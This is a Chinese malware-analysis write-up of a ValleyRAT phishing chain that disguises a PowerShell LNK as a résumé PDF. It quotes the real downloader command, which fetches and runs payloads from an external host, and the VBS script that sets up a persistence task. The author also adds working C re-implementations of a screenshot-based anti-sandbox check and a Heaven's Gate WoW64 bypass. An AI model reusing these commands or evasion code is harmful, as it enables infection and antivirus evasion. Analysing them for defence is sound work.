(1) UAC 绕过方法的三种方法以及代码实现

(2)样本终止与对抗杀软的实现方式

(3)反沙箱实现方式

钓鱼部分

钓鱼方式采用的是使用powershell lnk伪装为个人简介pdf

Hash:

  • SHA256:ae857addc8eb51dbfa7d0a76b19dae7a6f275f7bf1042d1c982aca4f80ce635e
  • MD5:f5b9ad341ccfe06352b8818b90b2413e
  • SHA1:1b3a15955779e11424698f67bd305e15f6750fca

查看文件属性可以发现具体的powershell命令

ValleyRAT

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ep Bypass -w h $localPath = (Get-Location).Path; Remove-Item -Path "$localPath\我的简历.lnk" -Force; $h='ht'; $t='tps'; curl "${h}${t}://pan.tenire.com/down.php/c5932995bbb5708687fb1014ee01d6b9.pdf" -o "$localPath\我的简历.pdf"; Start-Process -FilePath "$localPath\我的简历.pdf"; if (-not (Test-Path "$env:APPDATA\Security")){ New-Item -Type Directory "$env:APPDATA\Security" -Force|Out-Null }; curl "${h}${t}://pan.tenire.com/down.php/83b341a1caab40ad1e7adb9fb4a8b911.zip" -o "$env:APPDATA\Security\pkg.zip"; Expand-Archive -Path "$env:APPDATA\Security\pkg.zip" -DestinationPath "$env:APPDATA\Security" -Force; Remove-Item "$env:APPDATA\Security\pkg.zip" -Force; & "$env:APPDATA\Security\keytool.exe"; & "$env:APPDATA\Security\CreateHiddenTask.vbs";

指令解释:

powershell.exe -NoP -ep Bypass -w h

  • -NoP:不加载 PowerShell Profile
  • -ep Bypass:绕过执行策略
  • -w h-WindowStyle Hidden):窗口隐藏
$localPath = (Get-Location).Path;
Remove-Item -Path "$localPath\我的简历.lnk" -Force;
  • 获取当前工作目录(通常就是双击快捷方式所在目录)
  • 删除 我的简历.lnk
$h='ht'; $t='tps'; 
curl "${h}${t}://pan.tenire.com/down.php/c5932995bbb5708687fb1014ee01d6b9.pdf" -o "$localPath\\我的简历.pdf";
Start-Process -FilePath "$localPath\\我的简历.pdf";
  • 拼出 https
  • 下载一个 PDF 文件立刻打开给用户看
if (-not (Test-Path "$env:APPDATA\Security")){
  New-Item -Type Directory "$env:APPDATA\Security" -Force
};
//C:\Users\<User>\AppData\Roaming\Security
  • 在 AppData 下创建隐藏工作目录
curl "https://pan.tenire.com/down.php/xxxx.zip" -o "$env:APPDATA\Security\pkg.zip";
Expand-Archive -Path "$env:APPDATA\Security\pkg.zip" -DestinationPath "$env:APPDATA\Security" -Force;
Remove-Item "$env:APPDATA\Security\pkg.zip" -Force;
  • 下载压缩包
  • 解压到 AppData\Security
  • 删除 zip
& "$env:APPDATA\Security\keytool.exe";
& "$env:APPDATA\Security\CreateHiddenTask.vbs";
  • 运行 EXE
  • 执行 VBS 脚本

下载的pkg.zip

ValleyRAT

根据powershell命令分析可以发现,会自动启动keytool.exe与CreateHiddenTask.vbs

CreateHiddenTask.vbs

HASH

  • SHA256:190d493255c71f3cebb968c197aeef67c62d597b488c4a0b8cd77751e5999b94
  • MD5:6ea9555f1874d13246726579263161e8
  • SHA1:9ab44514add105acdb17e298744d6a3124ee490d

先查看vbs脚本

Set WshShell = CreateObject("WScript.Shell")  
Set service = CreateObject("Schedule.Service")
Set fso = CreateObject("Scripting.FileSystemObject")

service.Connect

Set taskDefinition = service.NewTask(0)


Set regInfo = taskDefinition.RegistrationInfo
regInfo.Author = "Microsoft Corporation"
regInfo.Description = ""

' 设置触发器(每天执行一次,24小时间隔)
Set trigger = taskDefinition.Triggers.Create(2)  ' 2 = TASK_TRIGGER_DAILY(每日触发器)
trigger.StartBoundary = "2025-8-01T08:01:01"     ' 设置开始时间(例如每天0点)
trigger.DaysInterval = 1                          ' 间隔1天
trigger.Enabled = True

' 设置操作(启动程序)
Set action = taskDefinition.Actions.Create(0)
action.Path = WshShell.ExpandEnvironmentStrings("%APPDATA%") & "\Security\keytool.exe"

' 注册任务到根目录
service.GetFolder("\").RegisterTaskDefinition "Security", taskDefinition, 6, , , 3

If fso.FileExists(WScript.ScriptFullName) Then
  fso.DeleteFile WScript.ScriptFullName  ' 删除自身
End If

设置计划任务,实现keytool.exe持久化

keytool.exe

HASH

  • SHA256:367c0bbc72b885e313f6731e98c7e4fa2d95c3cadb76e642a8492f8b12b3d9de
  • MD5:e94e7b953e67cc7f080b83d3a1cdcb1f
  • SHA1:74add8e181ad365e7e2e16317b61dc19e6a78480

ValleyRAT

数字签名过期

ValleyRAT

白加黑?这个文件是一个正常的文件,会调用jli.dll

jli.dll

HASH

  • SHA256:3f7819debdca5df5a6cd50147b51bceba12c5e0f8a6961b1612777080496dde1
  • MD5:3ca440a3f4800090ee691e037a9ce501
  • SHA1:3177fe43cdaa6c519d47a9225735e4e503901576

ValleyRAT

ValleyRAT

读取keytool.exe,然后在这个可执行文件中查找1C 3B 7E FF,然后读取大小为0xE60

ValleyRAT

在提取到指定数据之后选择使用RC4进行解密,key为:123cba

ValleyRAT

exp:

def rc4_decrypt(key, data):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    
    i = 0
    j = 0
    res = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(byte ^ S[(S[i] + S[j]) % 256])
    
    return bytes(res)

def main():
    input_file = "keytool.exe"       
    output_file = "payload_decrypted.bin" 
    key = b"123cba"                
    magic_tag = b'\x1C\x3B\x7E\xFF\x1C\x3B\x7E\xFF' 
    payload_size = 0xE60               

    try:
        with open(input_file, "rb") as f:
            file_data = f.read()

        tag_pos = file_data.find(magic_tag)
        
        if tag_pos == -1:
            return
        
        start_pos = tag_pos + len(magic_tag)
        encrypted_data = file_data[start_pos : start_pos + payload_size]
        
        if len(encrypted_data) < payload_size:
            print(f"[!] 警告:提取的数据长度 ({len(encrypted_data)}) 小于指定的 Size ({payload_size})")

        decrypted_data = rc4_decrypt(key, encrypted_data)
        
        with open(output_file, "wb") as f:
            f.write(decrypted_data)
        
        print(f"[+] 解密完成!结果已保存至: {output_file}")

    except FileNotFoundError:
        print(f"[-] 错误:找不到文件 {input_file}")
    except Exception as e:
        print(f"[-] 发生错误: {e}")

if __name__ == "__main__":
    main()

解密之后在sub_100015B0中为运行shellcode的逻辑

ValleyRAT

sub_10001380取出 WOW32Reserved 字段的值

ValleyRAT

这里采用了天堂之门技术

ValleyRAT

EA: 是长跳转的机器码

33 00: 这是段选择子;在 64 位 Windows 中,0x33 指向 64 位代码段,0x23 指向 32 位代码段

shellcode

不用针对天堂之门进行分析,直接对得到的shellcode进行分析即可

ValleyRAT

遍历整个shellcode寻找2A 5E 26 23 24 5E 26 25

ValleyRAT

其实通过下面的分析可以知道,这部分类似于config

ValleyRAT

sub_13C0D4D采用hash来获取api

ValleyRAT

ValleyRAT

动调能拿到所有涉及到的api

动调可以发现前面部分的判断v70[105]、v70[106]、v70[107],这三个判断条件都来自于读取的config,而这里的config对应位置为0,故直接跳转到网络部分

ValleyRAT

sub_13C0A81网络模块

ValleyRAT

通过patch config分析其他模块功能

UAC

GetModuleFileNameA找到样本现在在磁盘的什么位置,调用 ShellExecuteExA,传入 "runas"(这样的提权会出现用户提示弹窗

ValleyRAT

ValleyRAT

隐藏窗口

通过遍历桌面所有窗口,找到属于自己进程的窗口并将其强制隐藏

ValleyRAT

反沙箱

ValleyRAT

反沙箱,每隔2s截图,然后按字节对比两张图片的像素点,如果变化超过20000点像素则说明不是沙箱

#include <windows.h>
#include <stdio.h>


BOOL GetScreenPixels(BYTE* buffer, int width, int height) {
    HDC hScreenDC = GetDC(NULL); 
    HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
    HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, width, height);
    HGDIOBJ hOldObj = SelectObject(hMemoryDC, hBitmap);

    BitBlt(hMemoryDC, 0, 0, width, height, hScreenDC, 0, 0, SRCCOPY);

    BITMAPINFO bmi = { 0 };
    bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmi.bmiHeader.biWidth = width;
    bmi.bmiHeader.biHeight = -height; 
    bmi.bmiHeader.biPlanes = 1;
    bmi.bmiHeader.biBitCount = 32;   
    bmi.bmiHeader.biCompression = BI_RGB;

    int result = GetDIBits(hMemoryDC, hBitmap, 0, height, buffer, &bmi, DIB_RGB_COLORS);

    SelectObject(hMemoryDC, hOldObj);
    DeleteObject(hBitmap);
    DeleteDC(hMemoryDC);
    ReleaseDC(NULL, hScreenDC);

    return (result > 0);
}

int main() {
    int width = GetSystemMetrics(SM_CXSCREEN);
    int height = GetSystemMetrics(SM_CYSCREEN);
    int dataSize = width * height * 4; 

    BYTE* buf1 = (BYTE*)malloc(dataSize);
    BYTE* buf2 = (BYTE*)malloc(dataSize);

    if (!buf1 || !buf2) return -1;

    GetScreenPixels(buf1, width, height);

    int maxAttempts = 1800; 
    for (int i = 0; i < maxAttempts; i++) {
        Sleep(2000);
        if (GetScreenPixels(buf2, width, height)) {
            long diffCount = 0;
            for (int j = 0; j < dataSize; j++) {
                if (buf1[j] != buf2[j]) {
                    diffCount++;
                }
            }
            if (diffCount > 20000) {
                break; 
            } else {
            }
        }
    }

    free(buf1);
    free(buf2);
    return 0;
}

天堂之门

#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <iostream>

void memcpy64(uint64_t dst, uint64_t src, uint64_t sz);
void GetPEB64(void* peb64);
uint64_t GetModuleHandle64(const WCHAR* moduleName);
uint64_t MyGetProcAddress(uint64_t moduleBase, const char* funcName);
uint64_t X64Call(uint64_t proc, uint32_t argc, ...);
uint64_t GetKernel32();
uint64_t GetProcAddress64(uint64_t module, const char* func);
uint64_t LoadLibrary64(const char* name);

typedef struct _UNICODE_STRING64 {
    uint16_t Length;
    uint16_t MaximumLength;
    uint32_t Pad;
    uint64_t Buffer;
} UNICODE_STRING64;

void memcpy64(uint64_t dst, uint64_t src, uint64_t sz) {
    static uint8_t code[] = {
        0x6A, 0x33, 0x68, 0x78, 0x56, 0x34, 0x12, 0xCB,
        0x56, 0x57,
        0x48, 0xBE, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
        0x48, 0xBF, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
        0x48, 0xB9, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
        0xF3, 0xA4,
        0x5E, 0x5F,
        0x6A, 0x23, 0x68, 0x78, 0x56, 0x34, 0x12, 0x48, 0xCB,
        0xC3
        };

    static uint32_t ptr = NULL;
    if (!ptr) {
        ptr = (uint32_t)VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        for (int i = 0; i < sizeof(code); i++) ((PBYTE)ptr)[i] = code[i];
    }
    *(uint32_t*)(ptr + 3) = ptr + 8;
    *(uint64_t*)(ptr + 12) = src;
    *(uint64_t*)(ptr + 22) = dst;
    *(uint64_t*)(ptr + 32) = sz;
    *(uint32_t*)(ptr + 47) = ptr + 53;
    ((void(*)())ptr)();
}

void GetPEB64(void* peb64) {
    static uint8_t code[] = {
        0xBE, 0x78, 0x56, 0x34, 0x12, 0x6A, 0x33, 0x68, 0x78, 0x56, 0x34, 0x12, 0xCB,
        0x65, 0x48, 0xA1, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x67, 0x48, 0x89, 0x6,
        0x6A, 0x23, 0x68, 0x78, 0x56, 0x34, 0x12, 0x48, 0xCB,
        0xC3
        };

    static uint32_t ptr = NULL;
    if (!ptr) {
        ptr = (uint32_t)VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        for (int i = 0; i < sizeof(code); i++) ((PBYTE)ptr)[i] = code[i];
    }
    *(uint32_t*)(ptr + 1) = (uint32_t)peb64;
    *(uint32_t*)(ptr + 8) = ptr + 13;
    *(uint32_t*)(ptr + 31) = ptr + 37;
    ((void(*)())ptr)();
}

uint64_t X64Call(uint64_t proc, uint32_t argc, ...) {
    uint64_t* args = (uint64_t*)(&argc + 1);
    uint64_t ret = 0;
    static uint8_t code[] = {
        0x53, 0x89, 0xE3, 0x83, 0xE4, 0xF8,
        0x6A, 0x33, 0x68, 0x78, 0x56, 0x34, 0x12, 0xCB,
        0x56, 0x57,
        0x48, 0xBE, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x8B, 0xE, 0x48, 0x8B, 0x56, 0x8, 0x4C, 0x8B, 0x46, 0x10, 0x4C, 0x8B, 0x4E, 0x18,
        0x48, 0xB8, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x83, 0xF8, 0x4, 0x7E, 0xB, 0x48, 0x8B, 0x7C, 0xC6, 0xF8, 0x57, 0x48, 0xFF, 0xC8, 0xEB, 0xEF,
        0x48, 0xB8, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0,
        0x48, 0xBF, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x89, 0x7,
        0x5F, 0x5E,
        0x6A, 0x23, 0x68, 0x78, 0x56, 0x34, 0x12, 0x48, 0xCB,
        0x89, 0xDC, 0x5B,
        0xC3
    };

    static uint32_t ptr = NULL;
    if (!ptr) {
        ptr = (uint32_t)VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        for (int i = 0; i < sizeof(code); i++) ((PBYTE)ptr)[i] = code[i];
    }
    *(uint32_t*)(ptr + 9) = ptr + 14;
    *(uint64_t*)(ptr + 18) = (uint64_t)args;
    *(uint64_t*)(ptr + 43) = (uint64_t)argc;
    *(uint64_t*)(ptr + 70) = proc;
    *(uint64_t*)(ptr + 86) = (uint64_t)&ret;
    *(uint32_t*)(ptr + 102) = ptr + 108;
    ((void(*)())ptr)();
    return ret;
}

uint64_t GetModuleHandle64(const WCHAR* moduleName) {
    uint64_t peb64;
    uint64_t ldrData;
    uint64_t head;
    uint64_t pNode;
    GetPEB64(&peb64);
    memcpy64((uint64_t)&ldrData, peb64 + 0x18, 8);
    head = ldrData + 0x10;
    memcpy64((uint64_t)&pNode, head, 8);
    while (pNode != head) {
        uint64_t buffer;
        memcpy64((uint64_t)&buffer, pNode + 96, 8);
        if (buffer) {
            WCHAR curModuleName[128] = { 0 };
            memcpy64((uint64_t)curModuleName, buffer, 250);
            if (!lstrcmpiW(moduleName, curModuleName)) {
                uint64_t base;
                memcpy64((uint64_t)&base, pNode + 48, 8);
                return base;
            }
        }
        memcpy64((uint64_t)&pNode, pNode, 8);
    }
    return NULL;
}

uint64_t MyGetProcAddress(uint64_t moduleBase, const char* funcName) {
    if (!moduleBase) return 0;

    uint8_t headers[0x1000];
    memcpy64((uint64_t)headers, moduleBase, 0x1000);

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)headers;
    PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(headers + dos->e_lfanew);
    uint32_t exportRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!exportRVA) return 0;

    IMAGE_EXPORT_DIRECTORY expDir;
    memcpy64((uint64_t)&expDir, moduleBase + exportRVA, sizeof(expDir));

    for (uint32_t i = 0; i < expDir.NumberOfNames; i++) {
        uint32_t nameRVA;
        memcpy64((uint64_t)&nameRVA, moduleBase + expDir.AddressOfNames + i * 4, 4);

        char name[256] = { 0 };
        memcpy64((uint64_t)name, moduleBase + nameRVA, 255);

        if (strcmp(name, funcName) == 0) {
            uint16_t ordinal;
            memcpy64((uint64_t)&ordinal, moduleBase + expDir.AddressOfNameOrdinals + i * 2, 2);

            uint32_t funcRVA;
            memcpy64((uint64_t)&funcRVA, moduleBase + expDir.AddressOfFunctions + ordinal * 4, 4);

            return moduleBase + funcRVA;
        }
    }
    return 0;
}

uint64_t GetKernel32() {
    static uint64_t kernel32 = 0;
    if (kernel32) return kernel32;
    uint64_t ntdll = GetModuleHandle64(L"ntdll.dll");
    if (!ntdll) {
        printf("未能找到ntdll64.dll。\n");
        return 0;
    }
    printf("ntdll64.dll地址: 0x%llX\n", ntdll);

    uint64_t LdrLoadDll = MyGetProcAddress(ntdll, "LdrLoadDll");
    if (!LdrLoadDll) {
        printf("未找到 ntdll!LdrLoadDll\n");
        return 0;
    }
    printf("ntdll!LdrLoadDll地址: 0x%llX\n", LdrLoadDll);

    const wchar_t* dllName = L"kernel32.dll";
    UNICODE_STRING64 us;
    us.Length = wcslen(dllName) * 2;
    us.MaximumLength = us.Length + 2;
    us.Buffer = (uint64_t)dllName;
    us.Pad = 0;

    uint64_t status = X64Call(LdrLoadDll, 4, (uint64_t)0, (uint64_t)0, (uint64_t)&us, (uint64_t)(&kernel32));


    return kernel32;
}

uint64_t GetProcAddress64(uint64_t module, const char* func) {
    static uint64_t K32GetProcAddress = 0;
    if (!K32GetProcAddress) {
        K32GetProcAddress = MyGetProcAddress(GetKernel32(), "GetProcAddress");
    }
    return X64Call(K32GetProcAddress, 2, module, (uint64_t)func);
}

uint64_t LoadLibrary64(const char* name) {
    static uint64_t LoadLibraryA = 0;
    if (!LoadLibraryA) {
        LoadLibraryA = GetProcAddress64(GetKernel32(), "LoadLibraryA");
    }
    return X64Call(LoadLibraryA, 1, (uint64_t)name);
}


void Test() {

    uint64_t ntdll = GetModuleHandle64(L"ntdll.dll");
    printf("成功获取 64位 ntdll.dll: 0x%llX\n", ntdll);

    if (!ntdll) return;
    uint64_t NtAllocateVirtualMemory = MyGetProcAddress(ntdll, "NtAllocateVirtualMemory");
    printf("NtAllocateVirtualMemory: 0x%llX\n", NtAllocateVirtualMemory);

    if (NtAllocateVirtualMemory) {

        uint64_t baseAddress = 0;            
        uint64_t regionSize = 0x1000;        
        uint64_t currentProcessHandle = -1;   

        // NtAllocateVirtualMemory 
        // NTSTATUS NtAllocateVirtualMemory(
        //   HANDLE    ProcessHandle, 
        //   PVOID     *BaseAddress,  
        //   ULONG_PTR ZeroBits,      
        //   PSIZE_T   RegionSize,   
        //   ULONG     AllocationType,
        //   ULONG     Protect       
        // );

        uint64_t status = X64Call(NtAllocateVirtualMemory, 6,
            currentProcessHandle,
            (uint64_t)&baseAddress,
            (uint64_t)0,
            (uint64_t)&regionSize,
            (uint64_t)(MEM_COMMIT | MEM_RESERVE),
            (uint64_t)PAGE_EXECUTE_READWRITE
        );

        printf("返回状态码 (NTSTATUS): 0x%llX\n", status);

        if (status == 0) { // 0 等于 STATUS_SUCCESS
            printf("内存地址: 0x%llX\n", baseAddress);
            printf("内存大小: 0x%llX (4096 Bytes)\n", regionSize);
        }
        else {
            printf("[-] 分配失败。\n");
        }
    }
}


int main() {
    BOOL isWow64 = FALSE;
    IsWow64Process(GetCurrentProcess(), &isWow64);
    if (!isWow64) {
        printf("错误\n");
        system("pause");
        return 1;
    }
    return 0;
}

ValleyRAT

实现了一个简单的开辟内存空间操作,在win11\10上测试可以正常使用。

这个代码在拥有360环境下会被查杀,虽然并没有恶意操作